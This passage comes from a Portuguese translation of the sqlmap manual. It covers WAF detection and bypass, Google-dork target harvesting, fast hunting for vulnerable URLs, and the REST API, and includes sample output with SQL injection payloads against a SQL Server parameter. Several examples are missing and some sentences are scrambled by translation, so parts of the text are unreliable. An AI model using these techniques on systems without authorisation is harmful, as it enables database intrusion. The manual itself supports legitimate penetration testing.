opção , separados por um caractere de vírgula ( , ), onde os mnemônicos representam apenas a
primeira parte arbitrariamente escolhida do nome original. Não há mapeamento estrito de opções
e switches para suas respectivas contrapartes encurtadas. Somente a condição necessária é que
não há nenhuma outra opção nem opção que tenha um mesmo prefixo como o desejado.
Exemplo:
Pode ser escrita (uma de muitas maneiras) em forma mnemônica mais curta como:
Outro exemplo:
No caso de que o usuário usa o --beep interruptor ele será avisado com um som bipe
imediatamente quando a injeção SQL é encontrado. Isso é especialmente útil quando há uma
grande lista em massa (opção -m ) de URLs de destino a serem testadas.
Verificar dependências
Interruptor: --dependencies
Sqlmap por padrão usa coloração enquanto escreve para o console. No caso de efeitos
indesejados (por exemplo, aparência de console de códigos de coloração ANSI não interpretados
como \x01\x1b[0;32m\x02[INFO] ), você pode desativar a coloração de saída do console
usando essa opção.
O comportamento sqlmap padrão com a opção -g é fazer uma pesquisa no Google e usar os
primeiros 100 URLs resultantes para mais testes de injeção SQL. No entanto, em combinação
com esta opção, você pode especificar com esta opção ( --gpage ) uma página diferente da
primeira para recuperar URLs de destino.
HTTP parâmetro poluição (HPP) é um método para ignorar WAF / IPS / IDS mecanismos de
proteção (explicado aqui ) que é particularmente eficaz contra ASP / IIS e ASP.NET/IIS
plataformas. Se você suspeitar que o alvo está por trás dessa proteção, você pode tentar ignorá-
lo usando esse parâmetro.
Sqlmap pode tentar identificar backend WAF / IPS / IDS proteção (se houver) para que o usuário
poderia fazer as etapas apropriadas (por exemplo, usar scripts de adulteração com --tamper ).
Atualmente cerca de 30 produtos diferentes são suportados (Airlock, Barracuda WAF, etc) e seus
respectivos scripts WAF podem ser waf encontrados dentro do diretório.
Interruptor: --skip-waf
Por padrão, o sqlmap envia automaticamente dentro de um dos pedidos iniciais um valor de
parâmetro dummy contendo uma carga útil de injeção SQL deliberadamente "suspeita" (por
exemplo ...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM
information_schema.tables WHERE 2>1 ). Se o alvo responde diferentemente do que para o
pedido original, há uma possibilidade elevada que está sob algum tipo da proteção. Em caso de
qualquer problema, o usuário pode desativar esse mecanismo fornecendo switch --skip-waf .
Imitar smartphone
Interruptor: --mobile
Às vezes, os servidores web expõem diferentes interfaces em relação aos telefones celulares do
que aos computadores de mesa. Nesses casos, você pode impor a utilização de um dos valores
predeterminados de cabeçalho do usuário-agente HTTP do smartphone. Usando esta opção,
sqlmap irá pedir-lhe para escolher um dos smartphones populares que ele vai imitar na corrida
atual.
Exemplo de execução:
Usando o switch --offline sqlmap usará apenas dados da sessão anterior na enumeração de
dados. Isso basicamente significa que haverá zero tentativas de conexão durante tal execução.
Executa outros pedidos ao Google quando -g é fornecido e exibe o page rank (PR) para os
resultados do Google dork.
No caso de que o usuário decida remover com output segurança todo o conteúdo do diretório,
contendo todos os detalhes do alvo das execuções anteriores do sqlmap, ele pode usar o switch
--purge-output . Durante a purga, todos os arquivos de (sub) diretórios na pasta output serão
substituídos com dados aleatórios, truncados, renomeados para nomes aleatórios, (sub)
diretórios serão renomeados para nomes aleatórios também e, finalmente, toda a árvore de
diretório será excluída.
Exemplo de execução:
Há casos em que o usuário tem uma grande lista de URLs de destino potenciais (por exemplo,
fornecidos com a opção -m ) e ele quer encontrar um alvo vulnerável o mais rápido possível. Se a
opção --smart for usada, somente os parâmetros com os quais o (s) erro (s) de SGBD (s) podem
ser provocados, estão sendo usados mais em varreduras. Caso contrário, eles são ignorados.
No caso de você querer filtrar os testes por suas cargas e / ou títulos, você pode usar esta opção.
Por exemplo, se você quiser testar todas as cargas que têm ROW palavra-chave dentro, você pode
usar --test-filter=ROW .
Opção --test-skip=TEST
No caso de você querer saltar testes por suas cargas e / ou títulos, você pode usar esta opção.
Por exemplo, se você quiser ignorar todas as cargas que têm BENCHMARK palavra-chave dentro,
você pode usar --test-skip=BENCHMARK .
Usando o switch --sqlmap-shell user será apresentado com o shell interativo sqlmap que tem
o histórico de todas as execuções anteriores com opções usadas e / ou switches:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
Para usuários iniciantes há uma interface de assistente que usa um fluxo de trabalho simples
com perguntas como possível. Se o usuário apenas inserir o URL de destino e usar as
Enter respostas padrão (por exemplo, pressionando), ele deve ter um ambiente de execução
sqlmap corretamente definido no final do fluxo de trabalho.
Exemplo contra um destino do Microsoft SQL Server:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))
API (REST-JSON)
Sqlmap pode ser executado através da API REST-JSON, API (abbr. Para Application Program
Interface) que usa a comunicação JSON para REST (abbr. Para REpresentational State Transfer)
entre instâncias do servidor e do cliente. No plainspeak, o servidor executa a varredura sqlmap
(s), enquanto os clientes estão definindo as opções / switches sqlmap e puxam os resultados de
volta. Arquivo de programa sqlmapapi.py principal para executar a API é , enquanto o cliente
também pode ser implementado dentro do programa de usuário arbitrário.
Options:
-h, --help show this help message and exit
-s, --server Act as a REST-JSON API server
-c, --client Act as a REST-JSON API client
-H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1")
-p PORT, --port=PORT Port of the the REST-JSON API server (default 8775)
--adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref")
© 2017 GitHub , Inc. Termos Privacidade Segurança Status Socorro Entrar em contato com GitHub API Treinamento fazer compras Blog Sobre